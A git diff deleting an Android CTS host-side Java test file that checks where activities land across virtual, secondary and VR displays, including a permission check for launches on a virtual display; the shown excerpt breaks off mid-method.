diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
deleted file mode 100644
index aaa5593..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
+++ /dev/null
@@ -1,2051 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package android.server.cts;
-
-import android.platform.test.annotations.Presubmit;
-import android.server.displayservice.DisplayHelper;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import java.util.Collections;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
-import static android.server.cts.ActivityManagerState.STATE_PAUSED;
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
-import static android.server.cts.ActivityManagerState.STATE_STOPPED;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerDisplayTests
- */
-public class ActivityManagerDisplayTests extends ActivityManagerDisplayTestBase {
- private static final String WM_SIZE = "wm size";
- private static final String WM_DENSITY = "wm density";
-
- private static final String TEST_ACTIVITY_NAME = "TestActivity";
- private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
- private static final String RESIZEABLE_ACTIVITY_NAME = "ResizeableActivity";
- private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
- private static final String SECOND_ACTIVITY_NAME = "SecondActivity";
- private static final String SECOND_ACTIVITY_NO_EMBEDDING_NAME = "SecondActivityNoEmbedding";
- private static final String THIRD_ACTIVITY_NAME = "ThirdActivity";
- private static final String VR_TEST_ACTIVITY_NAME = "VrTestActivity";
- private static final String SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME = "ShowWhenLockedAttrActivity";
- private static final String SECOND_PACKAGE_NAME = "android.server.cts.second";
- private static final String THIRD_PACKAGE_NAME = "android.server.cts.third";
- private static final String VR_UNIQUE_DISPLAY_ID =
- "virtual:android:277f1a09-b88d-4d1e-8716-796f114d080b";
- private static final String VR_STANDALONE_DEVICE_PROPERTY = "ro.boot.vr";
-
- private DisplayHelper mExternalDisplayHelper;
-
- /** Physical display metrics and overrides in the beginning of the test. */
- private ReportedDisplayMetrics mInitialDisplayMetrics;
-
- // Set on standalone VR devices to indicate that the VR virtual display is the display where 2d
- // activities are launched.
- private boolean mVrHeadset;
- private int mVrVirtualDisplayId;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mInitialDisplayMetrics = getDisplayMetrics();
- mVrHeadset = isVrHeadset();
- final DisplayState vrDisplay = getDisplaysStates().getDisplayState(VR_UNIQUE_DISPLAY_ID);
- mVrVirtualDisplayId = mVrHeadset ? vrDisplay.mDisplayId : -1;
- }
-
- @Override
- protected void tearDown() throws Exception {
- try {
- enablePersistentVrMode(false);
- restoreDisplayMetricsOverrides();
- if (mExternalDisplayHelper != null) {
- mExternalDisplayHelper.releaseDisplay();
- mExternalDisplayHelper = null;
- }
- setPrimaryDisplayState(true);
- } catch (DeviceNotAvailableException e) {
- logE(e.getMessage());
- }
- super.tearDown();
- }
-
- private void enablePersistentVrMode(boolean enabled) throws Exception {
- if (enabled) {
- executeShellCommand("setprop vr_virtualdisplay true");
- executeShellCommand("vr set-persistent-vr-mode-enabled true");
- } else {
- executeShellCommand("vr set-persistent-vr-mode-enabled false");
- executeShellCommand("setprop vr_virtualdisplay false");
- }
- }
-
- private boolean isVrHeadset() {
- try {
- if (mDevice.getProperty(VR_STANDALONE_DEVICE_PROPERTY).equals("1")) {
- return true;
- }
-
- return false;
- } catch (DeviceNotAvailableException e) {
- return false;
- }
- }
-
- private void restoreDisplayMetricsOverrides() throws Exception {
- if (mInitialDisplayMetrics.sizeOverrideSet) {
- executeShellCommand(WM_SIZE + " " + mInitialDisplayMetrics.overrideWidth + "x"
- + mInitialDisplayMetrics.overrideHeight);
- } else {
- executeShellCommand("wm size reset");
- }
- if (mInitialDisplayMetrics.densityOverrideSet) {
- executeShellCommand(WM_DENSITY + " " + mInitialDisplayMetrics.overrideDensity);
- } else {
- executeShellCommand("wm density reset");
- }
- }
-
- /**
- * Tests that the global configuration is equal to the default display's override configuration.
- */
- public void testDefaultDisplayOverrideConfiguration() throws Exception {
- final ReportedDisplays reportedDisplays = getDisplaysStates();
- assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
- final DisplayState primaryDisplay = reportedDisplays.getDisplayState(DEFAULT_DISPLAY_ID);
- assertEquals("Primary display's configuration should not be equal to global configuration.",
- reportedDisplays.mGlobalConfig, primaryDisplay.mOverrideConfig);
- }
-
- /**
- * Tests that secondary display has override configuration set.
- */
- public void testCreateVirtualDisplayWithCustomConfig() throws Exception {
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
- // Find the density of created display.
- final int newDensityDpi = newDisplay.getDpi();
- assertEquals(CUSTOM_DENSITY_DPI, newDensityDpi);
- }
-
- /**
- * Tests that launch on secondary display is not permitted if device has the feature disabled.
- * Activities requested to be launched on a secondary display in this case should land on the
- * default display.
- */
- public void testMultiDisplayDisabled() throws Exception {
- if (supportsMultiDisplay()) {
- // Only check devices with the feature disabled.
- return;
- }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-
- mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
-
- // Check that activity is on the right display.
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
- final ActivityManagerState.ActivityStack frontStack
- = mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Launched activity must be resumed",
- getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
- assertEquals("Front stack must be on the default display", DEFAULT_DISPLAY_ID,
- frontStack.mDisplayId);
- mAmWmState.assertFocusedStack("Focus must be on the default display", frontStackId);
- }
-
- /**
- * Tests that any new activity launch in Vr mode is in Vr display.
- */
- public void testVrActivityLaunch() throws Exception {
- if (!supportsVrMode() || !supportsMultiDisplay()) {
- // VR Mode is not supported on this device, bail from this test.
- return;
- }
-
- // Put the device in persistent vr mode.
- enablePersistentVrMode(true);
-
- // Launch the VR activity.
- launchActivity(VR_TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {VR_TEST_ACTIVITY_NAME});
- mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
-
- // Launch the non-VR 2D activity and check where it ends up.
- launchActivity(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
- // Ensure that the subsequent activity is visible
- mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
-
- // Check that activity is launched in focused stack on primary display.
- mAmWmState.assertFocusedActivity("Launched activity must be focused", LAUNCHING_ACTIVITY);
- final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
- final ActivityManagerState.ActivityStack focusedStack
- = mAmWmState.getAmState().getStackById(focusedStackId);
- assertEquals("Launched activity must be resumed in focused stack",
- getActivityComponentName(LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
-
- // Check if the launch activity is in Vr virtual display id.
- final ReportedDisplays reportedDisplays = getDisplaysStates();
- assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
- final DisplayState vrDisplay = reportedDisplays.getDisplayState(VR_UNIQUE_DISPLAY_ID);
- assertNotNull("Vr mode should have a virtual display", vrDisplay);
-
- // Check if the focused activity is on this virtual stack.
- assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mDisplayId,
- focusedStack.mDisplayId);
-
- // Put the device out of persistent vr mode.
- enablePersistentVrMode(false);
- }
-
- /**
- * Tests that any activity already present is re-launched in Vr display in vr mode.
- */
- public void testVrActivityReLaunch() throws Exception {
- if (!supportsVrMode() || !supportsMultiDisplay()) {
- // VR Mode is not supported on this device, bail from this test.
- return;
- }
-
- // Launch a 2D activity.
- launchActivity(LAUNCHING_ACTIVITY);
-
- // Put the device in persistent vr mode.
- enablePersistentVrMode(true);
-
- // Launch the VR activity.
- launchActivity(VR_TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {VR_TEST_ACTIVITY_NAME});
- mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
-
- // Re-launch the non-VR 2D activity and check where it ends up.
- launchActivity(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
- // Ensure that the subsequent activity is visible
- mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
-
- // Check that activity is launched in focused stack on primary display.
- mAmWmState.assertFocusedActivity("Launched activity must be focused", LAUNCHING_ACTIVITY);
- final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
- final ActivityManagerState.ActivityStack focusedStack
- = mAmWmState.getAmState().getStackById(focusedStackId);
- assertEquals("Launched activity must be resumed in focused stack",
- getActivityComponentName(LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
-
- // Check if the launch activity is in Vr virtual display id.
- final ReportedDisplays reportedDisplays = getDisplaysStates();
- assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
- final DisplayState vrDisplay = reportedDisplays.getDisplayState(VR_UNIQUE_DISPLAY_ID);
- assertNotNull("Vr mode should have a virtual display", vrDisplay);
-
- // Check if the focused activity is on this virtual stack.
- assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mDisplayId,
- focusedStack.mDisplayId);
-
- // Put the device out of persistent vr mode.
- enablePersistentVrMode(false);
- }
-
- private int getCurrentDefaultDisplayId() {
- return mVrHeadset ? mVrVirtualDisplayId : DEFAULT_DISPLAY_ID;
- }
-
- /**
- * Tests that any new activity launch post Vr mode is in the main display.
- */
- public void testActivityLaunchPostVr() throws Exception {
- if (!supportsVrMode() || !supportsMultiDisplay()) {
- // VR Mode is not supported on this device, bail from this test.
- return;
- }
-
- // Put the device in persistent vr mode.
- enablePersistentVrMode(true);
-
- // Launch the VR activity.
- launchActivity(VR_TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {VR_TEST_ACTIVITY_NAME});
- mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
-
- // Launch the non-VR 2D activity and check where it ends up.
- launchActivity(ALT_LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {ALT_LAUNCHING_ACTIVITY});
-
- // Ensure that the subsequent activity is visible
- mAmWmState.assertVisibility(ALT_LAUNCHING_ACTIVITY, true /* visible */);
-
- // Check that activity is launched in focused stack on primary display.
- mAmWmState.assertFocusedActivity("Launched activity must be focused", ALT_LAUNCHING_ACTIVITY);
- final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
- final ActivityManagerState.ActivityStack focusedStack
- = mAmWmState.getAmState().getStackById(focusedStackId);
- assertEquals("Launched activity must be resumed in focused stack",
- getActivityComponentName(ALT_LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
-
- // Check if the launch activity is in Vr virtual display id.
- final ReportedDisplays reportedDisplays = getDisplaysStates();
- assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
- final DisplayState vrDisplay = reportedDisplays.getDisplayState(VR_UNIQUE_DISPLAY_ID);
- assertNotNull("Vr mode should have a virtual display", vrDisplay);
-
- // Check if the focused activity is on this virtual stack.
- assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mDisplayId,
- focusedStack.mDisplayId);
-
- // Put the device out of persistent vr mode.
- enablePersistentVrMode(false);
-
- // There isn't a direct launch of activity which can take an user out of persistent VR mode.
- // This sleep is to account for that delay and let device settle once it comes out of VR
- // mode.
- try {
- Thread.sleep(2000);
- } catch (Exception e) {
- e.printStackTrace();
- }
-
- // Launch the non-VR 2D activity and check where it ends up.
- launchActivity(RESIZEABLE_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {RESIZEABLE_ACTIVITY_NAME});
-
- // Ensure that the subsequent activity is visible
- mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
-
- // Check that activity is launched in focused stack on the correct display.
- mAmWmState.assertFocusedActivity("Launched activity must be focused",
- RESIZEABLE_ACTIVITY_NAME);
- // The default display id for a 2d activity launch is vr virtual display for a vr headset.
- int displayId = getCurrentDefaultDisplayId();
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(displayId);
- final ActivityManagerState.ActivityStack frontStack
- = mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Launched activity must be resumed in front stack",
- getActivityComponentName(RESIZEABLE_ACTIVITY_NAME), frontStack.mResumedActivity);
- assertEquals("Front stack must be on the correct display",
- displayId, frontStack.mDisplayId);
- }
-
- public void testCreateMultipleVirtualDisplays() throws Exception {
- // Create new virtual display.
- final List<DisplayState> newDisplays = new VirtualDisplayBuilder(this).build(3);
- destroyVirtualDisplays();
- getDisplayStateAfterChange(1);
- }
-
- /**
- * Tests launching an activity on virtual display.
- */
- @Presubmit
- public void testLaunchActivityOnSecondaryDisplay() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
- // Launch activity on new secondary display.
- final String logSeparator = clearLogcat();
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-
- mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
- TEST_ACTIVITY_NAME);
-
- // Check that activity is on the right display.
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
- final ActivityManagerState.ActivityStack frontStack
- = mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Launched activity must be on the secondary display and resumed",
- getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
-
- // Check that activity config corresponds to display config.
- final ReportedSizes reportedSizes = getLastReportedSizesForActivity(TEST_ACTIVITY_NAME,
- logSeparator);
- assertEquals("Activity launched on secondary display must have proper configuration",
- CUSTOM_DENSITY_DPI, reportedSizes.densityDpi);
- }
-
- /**
- * Tests launching a non-resizeable activity on virtual display. It should land on the
- * default display.
- */
- public void testLaunchNonResizeableActivityOnSecondaryDisplay() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
-
- mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
- NON_RESIZEABLE_ACTIVITY_NAME);
-
- // Check that activity is on the right display.
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
- final ActivityManagerState.ActivityStack frontStack =
- mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Launched activity must be on the primary display and resumed",
- getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
- frontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
- }
-
- /**
- * Tests launching a non-resizeable activity on virtual display while split-screen is active
- * on the primary display. It should land on the primary display and dismiss docked stack.
- */
- public void testLaunchNonResizeableActivityWithSplitScreen() throws Exception {
- if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
-
- // Start launching activity.
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- // Create new virtual display.
- final DisplayState newDisplay =
- new VirtualDisplayBuilder(this).setLaunchInSplitScreen(true).build();
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
-
- mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
- NON_RESIZEABLE_ACTIVITY_NAME);
-
- // Check that activity is on the right display.
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
- final ActivityManagerState.ActivityStack frontStack =
- mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Launched activity must be on the primary display and resumed",
- getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
- frontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
- mAmWmState.assertDoesNotContainStack("Must not contain docked stack.", DOCKED_STACK_ID);
- }
-
- /**
- * Tests moving a non-resizeable activity to a virtual display. It should land on the default
- * display.
- */
- public void testMoveNonResizeableActivityToSecondaryDisplay() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
- // Launch a non-resizeable activity on a primary display.
- launchActivityInNewTask(NON_RESIZEABLE_ACTIVITY_NAME);
- // Launch a resizeable activity on new secondary display to create a new stack there.
- launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
- int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-
- // Try to move the non-resizeable activity to new secondary display.
- moveActivityToStack(NON_RESIZEABLE_ACTIVITY_NAME, frontStackId);
- mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
-
- mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
- NON_RESIZEABLE_ACTIVITY_NAME);
-
- // Check that activity is on the right display.
- frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
- final ActivityManagerState.ActivityStack frontStack =
- mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Launched activity must be on the primary display and resumed",
- getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
- frontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
- }
-
- /**
- * Tests launching a non-resizeable activity on virtual display from activity there. It should
- * land on the secondary display based on the resizeability of the root activity of the task.
- */
- public void testLaunchNonResizeableActivityFromSecondaryDisplaySameTask() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
- .build();
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
- BROADCAST_RECEIVER_ACTIVITY);
-
- // Check that launching activity is on the secondary display.
- int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
- ActivityManagerState.ActivityStack frontStack =
- mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Launched activity must be on the secondary display and resumed",
- getActivityComponentName(BROADCAST_RECEIVER_ACTIVITY),
- frontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Focus must be on the secondary display", frontStackId);
-
- // Launch non-resizeable activity from secondary display.
- executeShellCommand("am broadcast -a trigger_broadcast --ez launch_activity true "
- + "--ez new_task true --es target_activity " + NON_RESIZEABLE_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
-
- // Check that non-resizeable activity is on the secondary display, because of the resizeable
- // root of the task.
- frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
- frontStack = mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Launched activity must be on the primary display and resumed",
- getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
- frontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
- }
-
- /**
- * Tests launching a non-resizeable activity on virtual display from activity there. It should
- * land on some different suitable display (usually - on the default one).
- */
- public void testLaunchNonResizeableActivityFromSecondaryDisplayNewTask() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
- LAUNCHING_ACTIVITY);
-
- // Check that launching activity is on the secondary display.
- int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
- ActivityManagerState.ActivityStack frontStack =
- mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Launched activity must be on the secondary display and resumed",
- getActivityComponentName(LAUNCHING_ACTIVITY),
- frontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Focus must be on the secondary display", frontStackId);
-
- // Launch non-resizeable activity from secondary display.
- getLaunchActivityBuilder().setTargetActivityName(NON_RESIZEABLE_ACTIVITY_NAME)
- .setNewTask(true).setMultipleTask(true).execute();
-
- // Check that non-resizeable activity is on the primary display.
- frontStackId = mAmWmState.getAmState().getFocusedStackId();
- frontStack = mAmWmState.getAmState().getStackById(frontStackId);
- assertFalse("Launched activity must be on a different display",
- newDisplay.mDisplayId == frontStack.mDisplayId);
- assertEquals("Launched activity must be resumed",
- getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
- frontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Focus must be on a just launched activity", frontStackId);
- }
-
- /**
- * Tests launching an activity on a virtual display without special permission must not be
- * allowed.
- */
- public void testLaunchWithoutPermissionOnVirtualDisplay() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
- final String logSeparator = clearLogcat();
-
- // Try to launch an activity and check it security exception was triggered.
- final String broadcastTarget = "-a " + SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION"
- + " -p " + SECOND_PACKAGE_NAME;
- final String includeStoppedPackagesFlag = " -f 0x00000020";
- executeShellCommand("am broadcast " + broadcastTarget
- + " --ez launch_activity true --es target_activity " + TEST_ACTIVITY_NAME
- + " --es package_name " + componentName
- + " --ei display_id " + newDisplay.mDisplayId
- + includeStoppedPackagesFlag);
-
- assertSecurityException("LaunchBroadcastReceiver", logSeparator);
-
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- assertFalse("Restricted activity must not be launched",
- mAmWmState.getAmState().containsActivity(TEST_ACTIVITY_NAME));
- }
-
- /**
- * Tests launching an activity on a virtual display without special permission must be allowed
- * for activities with same UID.
- */
- public void testLaunchWithoutPermissionOnVirtualDisplayByOwner() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
- // Try to launch an activity and check it security exception was triggered.
- final String broadcastTarget = "-a " + componentName + ".LAUNCH_BROADCAST_ACTION"
- + " -p " + componentName;
- executeShellCommand("am broadcast " + broadcastTarget
- + " --ez launch_activity true --es target_activity " + TEST_ACTIVITY_NAME
- + " --es package_name " + componentName
- + " --ei display_id " + newDisplay.mDisplayId);
-
- mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME);
-
- final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
- final ActivityManagerState.ActivityStack focusedStack = mAmWmState.getAmState()
- .getStackById(externalFocusedStackId);
- assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
- focusedStack.mDisplayId);
-
- mAmWmState.assertFocusedActivity("Focus must be on newly launched app", TEST_ACTIVITY_NAME);
- assertEquals("Activity launched by owner must be on external display",
- externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
- }
-
- /**
- * Tests launching an activity on virtual display and then launching another activity via shell
- * command and without specifying the display id - the second activity must appear on the
- * primary display.
- */
- @Presubmit
- public void testConsequentLaunchActivity() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-
- mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
- TEST_ACTIVITY_NAME);
-
- // Launch second activity without specifying display.
- launchActivity(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
- // Check that activity is launched in focused stack on the correct display.
- mAmWmState.assertFocusedActivity("Launched activity must be focused", LAUNCHING_ACTIVITY);
-
- // The default display id for a 2d activity launch is vr virtual display for a vr headset.
- int displayId = getCurrentDefaultDisplayId();
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(displayId);
- final ActivityManagerState.ActivityStack frontStack
- = mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Launched activity must be resumed in front stack",
- getActivityComponentName(LAUNCHING_ACTIVITY), frontStack.mResumedActivity);
- assertEquals("Front stack must be on the correct display",
- displayId, frontStack.mDisplayId);
- }
-
- /**
- * Tests launching an activity on simulated display and then launching another activity from the
- * first one - it must appear on the secondary display, because it was launched from there.
- */
- @Presubmit
- public void testConsequentLaunchActivityFromSecondaryDisplay() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
- .build();
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
- mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
- LAUNCHING_ACTIVITY);
-
- // Launch second activity from app on secondary display without specifying display id.
- getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME).execute();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-
- // Check that activity is launched in focused stack on external display.
- mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
- final ActivityManagerState.ActivityStack frontStack
- = mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Launched activity must be resumed in front stack",
- getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
- }
-
- /**
- * Tests launching an activity on virtual display and then launching another activity from the
- * first one - it must appear on the secondary display, because it was launched from there.
- */
- public void testConsequentLaunchActivityFromVirtualDisplay() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
- mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
- LAUNCHING_ACTIVITY);
-
- // Launch second activity from app on secondary display without specifying display id.
- getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME).execute();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-
- // Check that activity is launched in focused stack on external display.
- mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
- final ActivityManagerState.ActivityStack frontStack
- = mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Launched activity must be resumed in front stack",
- getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
- }
-
- /**
- * Tests launching an activity on virtual display and then launching another activity from the
- * first one with specifying the target display - it must appear on the secondary display.
- */
- public void testConsequentLaunchActivityFromVirtualDisplayToTargetDisplay() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
- mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
- LAUNCHING_ACTIVITY);
-
- // Launch second activity from app on secondary display specifying same display id.
- getLaunchActivityBuilder().setTargetActivityName(SECOND_ACTIVITY_NAME)
- .setTargetPackage(SECOND_PACKAGE_NAME)
- .setDisplayId(newDisplay.mDisplayId).execute();
